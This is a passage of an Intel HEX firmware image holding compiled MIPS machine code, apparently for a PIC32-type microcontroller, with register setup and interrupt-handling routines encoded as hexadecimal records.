3001c04c2afc8\n:105ccc001004c48f402004001804c4af1804c58ffe\n:105cdc001000a5302004c5af1c04c68f0000c630d0\n:105cec002404c6af2004c28f212002022b10900086\n:105cfc002404c38f212823022110450021284000b1\n:105d0c00218080002188a0001800c48f05b8400fa6\n:105d1c0000000000022403002804c4af2c04c0af10\n:105d2c002804c58f421705002c04c68fc03006000e\n:105d3c003404c6af3404c38f251043003404c2afff\n:105d4c002804c48fc02004003004c4af3004c58fb5\n:105d5c002000a5303804c5af3404c68f0000c6300f\n:105d6c003c04c6af3804c28f212002022b109000d5\n:105d7c003c04c38f21282302211045002128400018\n:105d8c00218080002188a0001800c48f05b8400f26\n:105d9c0000000000022403004004c4af4404c0af60\n:105dac004004c58fc21605004404c68f403106005e\n:105dbc004c04c6af4c04c38f251043004c04c2af37\n:105dcc004004c48f402104004804c4af4804c58f6c\n:105ddc004000a5305004c5af4c04c68f0000c6303f\n:105dec005404c6af5004c28f212002022b10900025\n:105dfc005404c38f21282302211045002128400080\n:105e0c00218080002188a0001800c48f05b8400fa5\n:105e1c0000000000022403005804c4af5c04c0afaf\n:105e2c005804c58f421605005c04c68fc0310600ad\n:105e3c006404c6af6404c38f251043006404c2af6e\n:105e4c005804c48fc02104006004c4af6004c5931f\n:105e5c006804c5af6404c68f0000c6306c04c6afbe\n:105e6c006804c28f212002022b1090006c04c38f97\n:105e7c002128230221104500212840002190800078\n:105e8c002198a0001800c48f05b8400f0000000036\n:105e9c00c22703007004c4af7404c0af1800c48fd1\n:105eac0005b8400f00000000422f03007804c5af76\n:105ebc007c04c0af7804c68f0200c6308004c6af25\n:105ecc007c04c28f000042308404c2af7004c38fc4\n:105edc008004c68f212066007004c38f2b108300b2\n:105eec007404c68f8404c38f2128c300211045007d\n:105efc0021284000218080002188a0001800c48f38\n:105f0c0005b8400f00000000c22603008804c4af8f\n:105f1c008c04c0af8804c58f0400a5309004c5afb5\n:105f2c008c04c68f0000c6309404c6af9004c28f98\n:105f3c00212002022b1090009404c38f21282302ed\n:105f4c002110450021284000218080002188a000dc\n:105f5c001800c48f05b8400f000000004226030053\n:105f6c009804c4af9c04c0af9804c58f0800a5303a\n:105f7c00a004c5af9c04c68f0000c630a404c6aff5\n:105f8c00a004c28f212002022b109000a404c38f06\n:105f9c002128230221104500212840002180800067\n:105fac002188a0001800c48f05b8400f0000000025\n:105fbc0002260300a804c4afac04c0afa804c58f6c\n:105fcc00c2170500ac04c68f40300600b404c6af3f\n:105fdc00b404c38f25104300b404c2afa804c48f0b\n:105fec0040200400b004c4afb004c58f1000a5302d\n:105ffc00b804c5afb404c68f0000c630bc04c6af2d\n:10600c00b804c28f212002022b109000bc04c38f55\n:10601c0021282302211045002128400021808000e6\n:10602c002188a0001800c48f05b8400f00000000a4\n:10603c0002260300c004c4afc404c0afc004c58fa3\n:10604c0042170500c404c68fc0300600cc04c6af8e\n:10605c00cc04c38f25104300cc04c2afc004c48f42\n:10606c00c0200400c804c4afc804c58f2000a530ec\n:10607c00d004c5afcc04c68f0000c630d404c6af64\n:10608c00d004c48f211004022b205000d404c58fdf\n:10609c002118250221208300211880002180400036\n:1060ac00218860001800c48f05b8400f0000000064\n:1060bc0002360300d804c6afdc04c0afd804c38fcb\n:1060cc00c2160300dc04c48f40210400e404c4aff6\n:1060dc00e404c58f25104500e404c2afd804c68f74\n:1060ec0040310600e004c6afe004c28f40004230ed\n:1060fc00e804c2afe404c38f00006330ec04c3af08\n:10610c00e804c48f211004022b205000ec04c58f2e\n:10611c0021182502212083002118800021804000b5\n:10612c00218860001800c48f05b8400f00000000e3\n:10613c0002360300f004c6aff404c0aff004c38f02\n:10614c0042160300f404c48fc0210400fc04c4af45\n:10615c00fc04c58f25104500fc04c2aff004c68fab\n:10616c00c0310600f804c6aff804c2930005c2aff4\n:10617c00fc04c38f000063300405c3af0005c48f5b\n:10618c00211004022b2050000405c58f2118250274\n:10619c002120830021188000022602000032030017\n:1061ac000c05c6af0c05c58f252085000c05c4afaa\n:1061bc00003202000805c6af0805c48f2110440246\n:1061cc002b2052000c05c58f21186502212083005d\n:1061dc002118800002240200003403001405c6af0d\n:1061ec001405c58f252085001405c4af00340200aa\n:1061fc001005c6af1005c48f211084022b2054004b\n:10620c001405c58f2118a5022120830021188000b8\n:10621c00003002001c05c6af1805c0af1805c48fae\n:10622c002110c4022b2056001c05c58f2118e50235\n:10623c0021208300211880002000c2af2400c3afae\n:10624c001c00c28f010042241800c2af1800c48f7a\n:10625c0020000524c658410f000000001c00c2afee\n:10626c001c00c28f0800401400000000059d023c79\n:10627c00f88944240413410f000000002110000091\n:10628c007b9a400b000000001c00c28f000040a055\n:10629c001800c48f7b4b410f0000000021184000f8\n:1062ac00080002240800621000000000059d023c5a\n:1062bc00088a44240413410f000000002110000040\n:1062cc007b9a400b000000001800c48fa8b7400f49\n:1062dc0000000000c2110200010050301800c48ff1\n:1062ec00a8b7400f0000000042110200020042302b\n:1062fc00218002021800c48fa8b7400f00000000d4\n:10630c00c210020004004230218002021800c48f27\n:10631c00a8b7400f000000004210020008004230f5\n:10632c00218002021800c48fa8b7400f00000000a3\n:10633c004010020010004230218002021800c48f6d\n:10634c00a8b7400f00000000c0100200200042302f\n:10635c00218002021800c48fa8b7400f0000000073\n:10636c004011020040004230218002021800c48f0c\n:10637c00a8b7400f00000000c0110200ff0042301f\n:10638c00218002021800c48fa8b7400f0000000043\n:10639c00c2130200010051301800c48fa8b7400f7f\n:1063ac000000000042130200020042302188220249\n:1063bc001800c48fa8b7400f00000000c2120200e2\n:1063cc0004004230218822021800c48fa8b7400f65\n:1063dc000000000042120200080042302188220214\n:1063ec001800c48fa8b7400f000000000212020072\n:1063fc004010020010004230218822021800c48f85\n:10640c00a8b7400f0000000002120200c0100200ea\n:10641c0020004230218822021800c48fa8b7400ff8\n:10642c000000000002120200401102004000423045\n:10643c00218822021800c48fa8b7400f000000006a\n:10644c0002120200c0110200ff0042302110220291\n:10645c0000120200218002021800c48fa8b7400f5e\n:10646c0000000000c2150200010051301800c48f5a\n:10647c00a8b7400f00000000421502000200423095\n:10648c00218822021800c48fa8b7400f000000001a\n:10649c00c214020004004230218822021800c48f6a\n:1064ac00a8b7400f00000000421402000800423060\n:1064bc00218822021800c48fa8b7400f00000000ea\n:1064cc000214020040100200100042302188220207\n:1064dc001800c48fa8b7400f00000000021402007f\n:1064ec00c010020020004230218822021800c48f04\n:1064fc00a8b7400f00000000021402004011020077\n:10650c0040004230218822021800c48fa8b7400fe7\n:10651c000000000002140200c0110200ff00423013\n:10652c00218822021800c48fa8b7400f0000000079\n:10653c00c29702001800c48fa8b7400f00000000db\n:10654c004217020002004230219042021800c48f10\n:10655c00a8b7400f00000000c21602000400423031\n:10656c00219042021800c48fa8b7400f0000000011\n:10657c004216020008004230219042021800c48fdb\n:10658c00a8b7400f000000000216020040100200e5\n:10659c0010004230219042021800c48fa8b7400f5f\n:1065ac000000000002160200c01002002000423061\n:1065bc00219042021800c48fa8b7400f00000000c1\n:1065cc0002160200401102004000423021904202ab\n:1065dc001800c48fa8b7400f00000000021602007c\n:1065ec00c0110200ff0042302110420200120200d2\n:1065fc002110220200140200211002022800c2af56\n:10660c001c00c28f010042241800c2af1800c48fb6\n:10661c007b4b410f000000002118400008000224b1\n:10662c000800621000000000059d023c388a4424da\n:10663c000413410f00000000211000007b9a400b56\n:10664c00000000001800c48fa8b7400f0000000025\n:10665c00c2110200010050301800c48fa8b7400fbf\n:10666c0000000000421102000200423021800202b0\n:10667c001800c48fa8b7400f00000000c210020021\n:10668c0004004230218002021800c48fa8b7400fca\n:10669c00000000004210020008004230218002027b\n:1066ac001800c48fa8b7400f000000004010020073\n:1066bc0010004230218002021800c48fa8b7400f8e\n:1066cc0000000000c01002002000423021800202b5\n:1066dc001800c48fa8b7400f000000004011020042\n:1066ec0040004230218002021800c48fa8b7400f2e\n:1066fc0000000000c0110200ff00423021800202a5\n:10670c001800c48fa8b7400f00000000c21302008d\n:10671c00010051301800c48fa8b7400f00000000d2\n:10672c004213020002004230218822021800c48f5a\n:10673c00a8b7400f00000000c21202000400423053\n:10674c00218822021800c48fa8b7400f0000000057\n:10675c004212020008004230218822021800c48f25\n:10676c00a8b7400f00000000021202004010020007\n:10677c0010004230218822021800c48fa8b7400fa5\n:10678c000000000002120200c01002002000423083\n:10679c00218822021800c48fa8b7400f0000000007\n:1067ac0002120200401102004000423021882202f5\n:1067bc001800c48fa8b7400f00000000021202009e\n:1067cc00c0110200ff004230211022020012020010\n:1067dc00218002021800c48fa8b7400f00000000ef\n:1067ec00c2150200010051301800c48fa8b7400f29\n:1067fc0000000000421502000200423021882202f3\n:10680c001800c48fa8b7400f00000000c21402008b\n:10681c0004004230218822021800c48fa8b7400f10\n:10682c0000000000421402000800423021882202bd\n:10683c001800c48fa8b7400f00000000021402001b\n:10684c004010020010004230218822021800c48f30\n:10685c00a8b7400f0000000002140200c010020094\n:10686c0020004230218822021800c48fa8b7400fa4\n:10687c0000000000021402004011020040004230ef\n:10688c00218822021800c48fa8b7400f0000000016\n:10689c0002140200c0110200ff00423021882202c3\n:1068ac001800c48fa8b7400f00000000c297020068\n:1068bc001800c48fa8b7400f000000004217020058\n:1068cc0002004230219042021800c48fa8b7400f3a\n:1068dc0000000000c2160200040042302190420267\n:1068ec001800c48fa8b7400f000000004216020029\n:1068fc0008004230219042021800c48fa8b7400f04\n:10690c00000000000216020040100200100042308d\n:10691c00219042021800c48fa8b7400f000000005d\n:10692c0002160200c01002002000423021904202e8\n:10693c001800c48fa8b7400f000000000216020018\n:10694c004011020040004230219042021800c48fd6\n:10695c00a8b7400f0000000002160200c011020090\n:10696c00ff004230211042020012020021102202cc\n:10697c0000140200211002022c00c2af2800c28faa\n:10698c001000a2af2c00c28f1400a2af00a0023cda\n:10699c00e06944242000c68f2400c78fba01410f40\n:1069ac00000000004805c28f059d033c688a658c79\n:1069bc00688a64240400848c030045a8000045b850\n:1069cc00070044a8040044b8688a63240800649053\n:1069dc00080044a009006390090043a001000224b0\n:1069ec0021e8c0034405bf8f4005be8f3c05b78f1f\n:1069fc003805b68f3405b58f3005b48f2c05b38fa1\n:106a0c002805b28f2405b18f2005b08f4805bd270e\n:106a1c000800e0030000000090ffbd276c00bfaf32\n:106a2c006800beaf21f0a0037000c4af7400c5af06\n:106a3c007400c48f7b4b410f0000000021184000f4\n:106a4c00080002240800621000000000059d023cb2\n:106a5c00748a44240413410f00000000211000002c\n:106a6c00bf9a400b000000007400c48f8db7400f1c\n:106a7c00000000001000c2af1000c48f20000524dd\n:106a8c00dab2400f000000001400c3272120600080\n:106a9c0021284000200006244cb6400f00000000c6\n:106aac004000c3271400c227212060002128400089\n:106abc00200006248eba400f000000003400c327cb\n:106acc001400c22721206000212840002000062449\n:106adc0047b9400f000000003400c2277000c48f7b\n:106aec0021284000574a410f0000000001000224f9\n:106afc0021e8c0036c00bf8f6800be8f7000bd27fb\n:106b0c000800e0030000000078ffbd278400bfaf41\n:106b1c008000beaf21f0a0038800c4af8c00c5afcd\n:106b2c008c00c48f7b4b410f000000001000c2afe3\n:106b3c001000c28f21004228080040140000000001\n:106b4c00059d023c9c8a44240413410f0000000064\n:106b5c0021100000019b400b000000003800c227f0\n:106b6c00212040008c00c58f5bba400f0000000054\n:106b7c001000c28fff0042303800c3272120600074\n:106b8c002128400028b7400f000000001400c2afbd\n:106b9c001000c28fff0042301400c48f2128400027\n:106bac00dab2400f00000000211840001000c28f24\n:106bbc001800c42721286000213040004cb6400f3b\n:106bcc00000000001000c28f5800c4271800c32713\n:106bdc0021286000213040008eba400f00000000d8\n:106bec005800c2278800c48f21284000574a410f03\n:106bfc00000000000100022421e8c0038400bf8fc4\n:106c0c008000be8f8800bd270800e0030000000054\n:106c1c00e8ffbd271400bfaf1000beaf21f0a003ea\n:106c2c001800c4af1c00c5af1800c48f1c00c58f62\n:106c3c00899a400f0000000021e8c0031400bf8fa8\n:106c4c001000be8f1800bd270800e00300000000f4\n:106c5c00e8ffbd271400bfaf1000beaf21f0a003aa\n:106c6c001800c4af1c00c5af1800c48f1c00c58f22\n:106c7c00c59a400f0000000021e8c0031400bf8f2c\n:106c8c001000be8f1800bd270800e00300000000b4\n:106c9c00e0febd271c01bfaf1801beaf21f0a00361\n:106cac002001c4af2401c5af00a0023cdc24422467\n:106cbc001c00c2af2000c0af059d023c2c864424b2\n:106ccc000413410f000000002400c22721204000c3\n:106cdc00b6ad400f0000000008004014000000009a\n:106cec00059d023c308644240413410f0000000033\n:106cfc0021100000009c400b000000003000c32756\n:106d0c002400c2272120600021284000cbb8400f6e\n:106d1c00000000002401c48f20000524c658410f38\n:106d2c00000000002000c2af2000c28f08004014f9\n:106d3c0000000000059d023c448644240413410fce\n:106d4c000000000021100000009c400b000000001f\n:106d5c002000c28f000040a05000c227212040001c\n:106d6c002401c58fcbb8400f000000002118400053\n:106d7c00200002240800621000000000059d023c67\n:106d8c00688644240413410f000000002110000009\n:106d9c00009c400b000000002000c28f0100422428\n:106dac005000c327200063242120600021284000cc\n:106dbc00cbb8400f00000000211840002000022436\n:106dcc000800621000000000059d023c84864424eb\n:106ddc000413410f0000000021100000009c400b28\n:106dec00000000009000c3275000c2272120600043\n:106dfc0021284000438e400f000000000800401482\n:106e0c0000000000059d023ca08644240413410fa1\n:106e1c000000000021100000009c400b000000004e\n:106e2c009000c5275000c3273000c2271c00c48f18\n:106e3c002130600021384000cc8e400f0000000053\n:106e4c000800401400000000059d023cc886442444\n:106e5c000413410f0000000021100000009c400ba7\n:106e6c000000000028000224ec00c2afe09b400ba5\n:106e7c0000000000f000c0af5000c22721204000ed\n:106e8c00069c400f000000000800401400000000a9\n:106e9c00059d023cc48a44240413410f00000000e9\n:106eac0021100000009c400b00000000c19b400b17\n:106ebc0000000000ec00c58ff000c3275000c22773\n:106ecc001c00c48f21306000213840003e9c400fd4\n:106edc00000000000800401400000000059d023c6a\n:106eec00e48a44240413410f000000002110000028\n:106efc00009c400b00000000ec00c38ff000c28f20\n:106f0c002310620034004228eaff40100000000009\n:106f1c00f000c38fec00c5275000c2273000c427f7\n:106f2c001000a4af1c00c48f213060002138400039\n:106f3c00be9c400f00000000080040140000000040\n:106f4c00059d023c0c8b44240413410f00000000ef\n:106f5c0021100000009c400b00000000ec00c28fd0\n:106f6c00059d033c348b6424212840000413410ffd\n:106f7c0000000000ec00c28f00084228bdff401446\n:106f8c00000000001800c0aff99b400b000000008f\n:106f9c001800c28f1c00c38f21106200a800c327e9\n:106fac0021206000212840000001062447b9400f31\n:106fbc0000000000a800c227059d033c588b6424e8\n:106fcc00212840000413410f000000001800c28f5c\n:106fdc00000142241800c2af1800c28f00084228da\n:106fec00ebff4014000000002001c28f000040a005\n:106ffc000100022421e8c0031c01bf8f1801be8fc1\n:10700c002001bd270800e00300000000c8ffbd27d9\n:10701c003400bfaf3000beaf21f0a0033800c4afc6\n:10702c001800c22721204000b6ad400f0000000020\n:10703c000800401400000000059d023c608b4424b5\n:10704c000413410f0000000021100000389c400b7d\n:10705c0000000000088180af1800c22721204000ea\n:10706c00b6ad400f00000000080040140000000006\n:10707c00059d023c8c8b44240413410f000000003e\n:10708c0021100000389c400b000000002400c22797\n:10709c001000a0af212040003800c58f400006240e\n:1070ac0003000724c290400f0000000008004014a9\n:1070bc0000000000059d023cc48b44240413410fc6\n:1070cc000000000021100000389c400b0000000064\n:1070dc000100022421e8c0033400bf8f3000be8fb2\n:1070ec003800bd270800e00300000000c8fbbd27e6\n:1070fc003404bfaf3004beaf21f0a0033804c4afda\n:10710c003c04c5af4004c6af4404c7af4004c28fb3\n:10711c000000428c3c04c38f23106200d6ff422433\n:10712c001800c2af1800c28f0a0042280800401095\n:10713c0000000000059d023cf48b44240413410f15\n:10714c000000000021100000b89c400b0000000063\n:10715c001800c28fff0142280300401400000000f9\n:10716c00fe0102241800c2af1800c28f6666033cf1\n:10717c00676663341800430010180000831803007e\n:10718c00c3170200231062002000c2af1c00c0af66\n:10719c00779c400b000000001c00c28f40100200c6\n:1071ac0080180200211043002400c3272110620024\n:1071bc0021204000059d023cf88745245bba400f16\n:1071cc00000000001c00c28f010042241c00c2af52\n:1071dc001c00c38f2000c28f2a106200eeff4014e7\n:1071ec00000000004004c28f0000428c3804c38fa2\n:1071fc00211862002000c28f401002008020020083\n:10720c00211044002402c4272400c527213060002b\n:10721c0021384000d48f400f000000002000c28fa6\n:10722c004010020080180200211043002404c427df\n:10723c002402c3271000a0af212860002130400099\n:10724c0003000724c290400f000000000800401407\n:10725c0000000000059d023c248c44240413410fc3\n:10726c000000000021100000b89c400b0000000042\n:10727c002404c22721204000059d023c3087452470\n:10728c00544e410f000000000800401400000000a4\n:10729c00059d023c588c44240413410f000000004f\n:1072ac0021100000b89c400b000000004004c28f6d\n:1072bc000000438c2000c28f40100200802002008e\n:1072cc002110440020004224211862004004c28f87\n:1072dc00000043ac21e8c0033404bf8f3004be8fe0\n:1072ec003804bd270800e00300000000a8fbbd2700\n:1072fc005404bfaf5004beaf21f0a0035804c4af78\n:10730c005c04c5af6004c6af6404c7af5c04c28f35\n:10731c000000438c6004c28f231062001c00c2afbb\n:10732c001c00c28f0a004228080040100000000018\n:10733c00059d023c988c44240413410f000000006e\n:10734c0021100000469d400b000000001c00c28f65\n:10735c006666033c6766633418004300101800002f\n:10736c0083180300c3170200231062002000c2af71\n:10737c001800c0aff09c400b000000001800c28f3a\n:10738c004010020080180200211043002400c32783\n:10739c002110620021204000059d023cf887452405\n:1073ac005bba400f000000001800c28f010042249d\n:1073bc001800c2af1800c38f2000c28f2a106200c1\n:1073cc00eeff4014000000006004c28f5804c38f0d\n:1073dc00211862002000c28f4010020080200200a1\n:1073ec00211044002402c4272400c527213060004a\n:1073fc0021384000d48f400f000000002000c28fc5\n:10740c004010020080180200211043002404c427fd\n:10741c002402c3271000a0af2128600021304000b7\n:10742c0003000724c290400f000000000800401425\n:10743c0000000000059d023cc88c44240413410f3d\n:10744c000000000021100000469d400b00000000d1\n:10745c002404c22721204000059d023c308745248e\n:10746c00544e410f000000000800401400000000c2\n:10747c00059d023cfc8c44240413410f00000000c9\n:10748c0021100000469d400b000000003004c32773\n:10749c002404c2272120600021284000cbb8400fd3\n:1074ac00000000002000c28f401002008018020073\n:1074bc0021104300211840006004c28f211062008b\n:1074cc005804c38f211862003004c22721206000a9\n:1074dc00212840006804c68f20000724d48f400f59\n:1074ec00000000002000c28f401002008018020033\n:1074fc00211843006004c28f211062002000432435\n:10750c005c04c28f000043ac0100022421e8c003dc\n:10751c005404bf8f5004be8f5804bd270800e003ed\n:10752c0000000000d8ffbd272400bfaf2000beaf75\n:10753c0021f0a0032800c4af2c00c5af3000c6afab\n:10754c002800c28f000040a01400c2272120400058\n:10755c002c00c58f5bae400f000000005c0040109b\n:10756c00000000001000c0af829d400b0000000026\n:10757c001400c227212040001000c58f1000c68fb8\n:10758c00a444410f0000000014004014000000004f\n:10759c001400c227212040002c00c58f5bae400f89\n:1075ac000000000004004014000000002110000046\n:1075bc00b89d400b00000000059d023c3c8d448ca6\n:1075cc003c8d43240400638c1400c4af1800c3af7b\n:1075dc003c8d4224080042901c00c2a31400c22718\n:1075ec002800c48f212840009757410f000000004d\n:1075fc001000c28f010042241000c2af1000c28fd5\n:10760c0008004228daff4014000000003000c28f4e\n:10761c0029004010000000001c00c0a31000c0afe7\n:10762c00a59d400b00000000059d023c488d4424a4\n:10763c001000c58f6913410f000000001000c28fad\n:10764c00c01002002800c38f211062001400c32751\n:10765c00212060002128400008000624214b410f06\n:10766c00000000001400c227059d033c588b6424c5\n:10767c00212840000413410f000000001000c28fad\n:10768c00010042241000c2af1000c28f0800422833\n:10769c00e5ff401400000000059d023c508d442481\n:1076ac00059d023c2c8645240413410f000000006c\n:1076bc00b49d400b000000002800c48fd29d400fe9\n:1076cc000000000001000224b89d400b00000000e7\n:1076dc002110000021e8c0032400bf8f2000be8fc2\n:1076ec002800bd270800e00300000000e0ffbd27d4\n:1076fc001c00bfaf1800beaf21f0a0031000c0af3c\n:10770c00079d023cffbf44341000c22721284000d3\n:10771c000400062400a0023c5c4547246e4d410f3a\n:10772c000000000021e8c0031c00bf8f1800be8fb2\n:10773c002000bd270800e00300000000e0ffbd278b\n:10774c001c00bfaf1800beaf21f0a0032000c4afd7\n:10775c001400c22721204000079d023cffbf453486\n:10776c0004000624214b410f000000001400c28fbe\n:10777c007f00422c04004014000000002110000087\n:10778c00099e400b000000002000c48f0f9e400f8c\n:10779c00000000001000c2af1000c28f04004010a7\n:1077ac000000000001000224099e400b00000000b4\n:1077bc001400c28f80190200079d023c03c04234a2\n:1077cc00211062001000c2af1000c48f2000c58fc2\n:1077dc004000062400a0023c5c4547246e4d410f3e\n:1077ec00000000001400c28f010042241400c2af3c\n:1077fc001400c227079d033cffbf643421284000be\n:10780c000400062400a0023c5c4547246e4d410f49\n:10781c00000000000100022421e8c0031c00bf8fff\n:10782c001800be8f2000bd270800e00300000000f8\n:10783c00d8ffbd272400bfaf2000beaf21f0a003ae\n:10784c002800c4af1000c0af1400c0af1800c2278e\n:10785c0021204000079d023cffbf45340400062454\n:10786c00214b410f000000001800c28f8000422cf9\n:10787c000800401400000000059d023c548d442477\n:10788c000413410f0000000021100000449e400b27\n:10789c00000000001400c0af079d023c03c042343e\n:1078ac001000c2af3e9e400b000000002800c48fa9\n:1078bc001000c58f400006240954410f0000000041\n:1078cc0004004014000000001000c28f449e400bc6\n:1078dc00000000001400c28f010042241400c2af4b\n:1078ec001000c28f400042241000c2af1800c28f9b\n:1078fc001400c38f2b106200ecff4014000000003a\n:10790c002110000021e8c0032400bf8f2000be8f8f\n:10791c002800bd270800e00300000000e0ffbd27a1\n:10792c001c00bfaf1800beaf21f0a0031000c2278f\n:10793c0021204000079d023cffbf45340400062473\n:10794c00214b410f00000000059d023c2c86442475\n:10795c000413410f000000001000c28f8000422c65\n:10796c000800401400000000059d023c788d442462\n:10797c000413410f00000000211000006b9e400b0f\n:10798c00000000001000c28f059d033c908d642404\n:10799c00212840000413410f0000000001000224c4\n:1079ac0021e8c0031c00bf8f1800be8f2000bd272c\n:1079bc000800e00300000000d0ffbd272c00bfaf83\n:1079cc002800beaf21f0a0033000c4af3400c5af17\n:1079dc001800c22721204000079d023cffbf453400\n:1079ec0004000624214b410f00000000059d023cc1\n:1079fc002c8644240413410f000000001800c28f91\n:107a0c000800401400000000059d023ca48d442495\n:107a1c000413410f0000000001000224ea9e400bf9\n:107a2c00000000003000c28f050040140000000070\n:107a3c00010002243000c2af1800c28f3400c2af64\n:107a4c001800c28f8000422c100040100000000073\n:107a5c001800c28f3000c38f2b1043000b00401452\n:107a6c00000000003400c38f3000c28f2b10620066\n:107a7c0006004014000000001800c28f3400c38fb1\n:107a8c002b1043000800401000000000059d023c34\n:107a9c00bc8d44240413410f000000002110000091\n:107aac00ea9e400b000000002400c0a33000c28fef\n:107abc001000c2afe49e400b00000000059d023c8c\n:107acc00d48d44241000c58f0413410f0000000016\n:107adc001400c0afd99e400b00000000059d023c75\n:107aec00488d44241400c58f0413410f000000007e\n:107afc001000c38fff03023cffff423421106200d1\n:107b0c00801902001400c28fc010020021186200fc\n:107b1c00079d023c03c04234211062001c00c327a5\n:107b2c00212060002128400008000624214b410f31\n:107b3c00000000001c00c227059d033c588b6424e8\n:107b4c00212840000413410f000000001400c28fd4\n:107b5c00010042241400c2af1400c28f0800422856\n:107b6c00deff401400000000059d023c2c864424de\n:107b7c000413410f000000001000c28f01004224ca\n:107b8c001000c2af1000c38f3400c28f2b10430003\n:107b9c00caff4010000000000100022421e8c003cd\n:107bac002c00bf8f2800be8f3000bd270800e003db\n:107bbc0000000000f0ffbd270c00beaf21f0a003b9\n:107bcc0088bf023c0002033c741043ac88bf023ceb\n:107bdc00ff000324205243ac88bf023cff00032467\n:107bec00005243ac88bf023c005340ac88bf023cff\n:107bfc00105342240400c2af0100c0a30c9f400be1\n:107c0c00000000000400c28f000040ac0400c28fd2\n:107c1c00100042240400c2af0100c29301004224b0\n:107c2c000100c2a30100c2930300422cf5ff4014d3\n:107c3c000000000088bf023ce05240ac88bf023c10\n:107c4c009f000324305243ac88bf023c9f000324a6\n:107c5c00105243ac88bf023c7050428c0f00433032\n:107c6c0088bf023c705043ac88bf023c7050438cc0\n:107c7c0088bf023c705043ac88bf033c805062907c\n:107c8c00010004240400827c805062a000a0023c0d\n:107c9c00001c422400e0427c021e020088bf023c11\n:107cac00d05243ac00a0023c001c422400e0427cb9\n:107cbc00021c020088bf023cc05243ac00a0023c34\n:107ccc00001c422400e0427c021a020088bf023ce5\n:107cdc00705243ac0000c0a3479f400b0000000053\n:107cec000000c39300a0023cc0180300001c4224f7\n:107cfc00211062002120000021280000000044ac6b\n:107d0c00040045ac0000c293010042240000c2a351\n:107d1c000000c2931000422cf1ff40140000000040\n:107d2c0088bf033c50526290010004244408827cba\n:107d3c00505262a088bf023c605240ac88bf033cea\n:107d4c00505262904429027c505262a088bf033c7e\n:107d5c00505262904408027c505262a06a9f400bc1\n:107d6c000000000088bf023c08000324005243ac12\n:107d7c0000a0023c801c4224040040a000a0023c55\n:107d8c00d01c4224040040a000a0023cd01c432480\n:107d9c000400628c04ba027c040062ac88bf023c12\n:107dac000052428c08004230eeff401400000000ec\n:107dbc0001000224b48182af01000224bc8182af95\n:107dcc00ec8180aff08180afd08180af0000c0a388\n:107ddc00909f400b000000000000c39300a0023ce9\n:107dec0080180300101a422421106200000040acdd\n:107dfc000000c39300a0023c80180300001a422428\n:107e0c0021106200000040ac0000c3930482822762\n:107e1c0021106200000040a00000c393d48182278f\n:107e2c0021106200000040a00000c2930100422417\n:107e3c000000c2a30000c2930400422ce6ff4014d1\n:107e4c000000000000a0023c00a0033c101c6324b6\n:107e5c00101a43ac88bf023c0d000324005343ac02\n:107e6c00c881822700e0437c00a0023c001c422415\n:107e7c00040043ac00a0023c001c432402006294aa\n:107e8c00400004240448827c020062a400a0023c4e\n:107e9c0084000324001c43a4b88180a3f48180af28\n:107eac0021e8c0030c00be8f1000bd270800e003c2\n:107ebc000000000000e85d4100701b4002601a40a9\n:107ecc0080ffbd277c00bbaf00601b407800baafc1\n:107edc0000681a407400bbaf82d21a00847a5b7fb0\n:107eec0044201b7c00609b402400a3af2000a2af69\n:107efc007800a38f0f0063301200601400000000a4\n:107f0c006400bfaf6000beaf5c00b9af5800b8af43\n:107f1c005400afaf5000aeaf4c00adaf4800acafab\n:107f2c004400abaf4000aaaf3c00a9af3800a8afeb\n:107f3c003400a7af3000a6af2c00a5af2800a4af2b\n:107f4c001c00a1af00000000121000006c00a2afda\n:107f5c00101800006800a3af21f0a003f481838ff8\n:107f6c0001000224100062140000000088bf023cd3\n:107f7c00ff000324005243ac88bf033c10526290b4\n:107f8c00010004240400827c105262a088bf033cd0\n:107f9c0010526290010004240421827c105262a0d1\n:107fac0002000224f48182af88bf023c4050428c14\n:107fbc00100042300b0040100000000088bf023c53\n:107fcc005050428c1000423006004010000000005f\n:107fdc0088bf023c10000324405043ac12a7400f52\n:107fec000000000088bf023c8050428c02004230ee\n:107ffc000600401000000000690004248458410f62\n:10800c0000000000c5a0400b0000000088bf023c2f\n:10801c000052428c01004230100040100000000061\n:10802c0088bf023c1052428c010042300b004010c1\n:10803c0000000000f09e400f0000000088bf023cd2\n:10804c000002033c781043ac04000224f48182af9c\n:10805c0088bf023c01000324005243ac88bf023ca1\n:10806c000052428c100042300b0040100000000007\n:10807c0088bf023c1052428c100042300600401067\n:10808c0000000000f9a6400f0000000088bf023c71\n:10809c0010000324005243ac88bf023c0052428cb7\n:1080ac00040042300e0040100000000088bf023c6b\n:1080bc001052428c040042300600401000000000b8\n:1080cc00730004242128000001000624dd64400f05\n:1080dc000000000088bf023c04000324005243aca3\n:1080ec0088bf023c0052428c800042300800401095\n:1080fc000000000088bf023c1052428c80004230cd\n:10810c000300401000000000c4a6400f0000000057\n:10811c0088bf023c0052428c0200423012004010d8\n:10812c000000000088bf023c1052428c020042301a\n:10813c000d00401000000000ff7f023cffff4434a4\n:10814c002128000001000624dd64400f000000001f\n:10815c0088bf023cff000324205243ac88bf023c82\n:10816c0002000324005243acf481828f0400422ca1\n:10817c000600401000000000690004248458410fe0\n:10818c0000000000c5a0400b0000000088bf023cae\n:10819c001052428c08004230580040100000000081\n:1081ac001000c0a3bea0400b0000000088bf023c22\n:1081bc000052428c08004230470040100000000082\n:1081cc0088bf023c4052428cff004230c48182a3e3\n:1081dc00c481828f0019427cff004230e88182a367\n:1081ec0088bf023c08000324005243acc481829334\n:1081fc00ff00423008004230ff00423015004014ae\n:10820c0000000000e8818293ff00423021184000fa\n:10821c0021204000d481822721108200000042904e\n:10822c000000427cff00423001004238ff00423027\n:10823c0001004230ff004430d481822721186200b3\n:10824c00000062900400827c000062a0aaa0400b97\n:10825c0000000000e8818293ff00423021184000aa\n:10826c0021204000048282272110820000004290cd\n:10827c000000427cff00423001004238ff004230d7\n:10828c0001004230ff004430048282272118620032\n:10829c00000062900400827c000062a0e88182935e\n:1082ac00ff004230050040140000000029a7400fd9\n:1082bc0000000000bba0400b000000007200042472\n:1082cc00c481852721300000dd64400f00000000d0\n:1082dc00bba0400b00000000c2a0400b000000003f\n:1082ec001000c293010042241000c2a31000c293dc\n:1082fc000400422cadff401400000000690004246f\n:10830c008458410f0000000021e8c0036c00a28fcc\n:10831c00130040006800a38f110060007800a28f4a\n:10832c000f00423014004014000000006400bf8fa6\n:10833c006000be8f5c00b98f5800b88f5400af8faf\n:10834c005000ae8f4c00ad8f4800ac8f4400ab8f0b\n:10835c004000aa8f3c00a98f3800a88f3400a78f4b\n:10836c003000a68f2c00a58f2800a48f2400a38f8b\n:10837c002000a28f1c00a18f0000000000